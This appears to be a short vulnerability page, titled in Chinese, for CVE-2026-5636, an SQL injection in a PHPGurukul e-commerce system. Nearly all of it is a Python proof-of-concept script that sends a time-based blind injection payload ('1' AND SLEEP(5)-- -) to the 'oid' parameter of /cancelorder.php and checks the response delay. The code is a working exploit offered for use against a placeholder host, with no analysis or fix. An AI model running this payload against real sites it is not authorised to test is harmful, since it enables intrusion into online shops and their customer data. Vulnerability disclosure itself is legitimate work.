CVE-2026-5636 PHPGurukul电商系统SQL注入漏洞

import requests def check_sqli(url): """ Proof of Concept for CVE-2026-5636 Tests the 'oid' parameter in /cancelorder.php for SQL Injection. """ target_endpoint = f"{url}/cancelorder.php" # Payload to test for time-based blind SQL injection # Adjust the sleep time based on network latency payload = "1' AND SLEEP(5)-- -" params = { "oid": payload } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if the response time indicates a successful delay (SQL injection) if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based delay detected).") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target_host = "http://example-shop-site.com" check_sqli(target_host)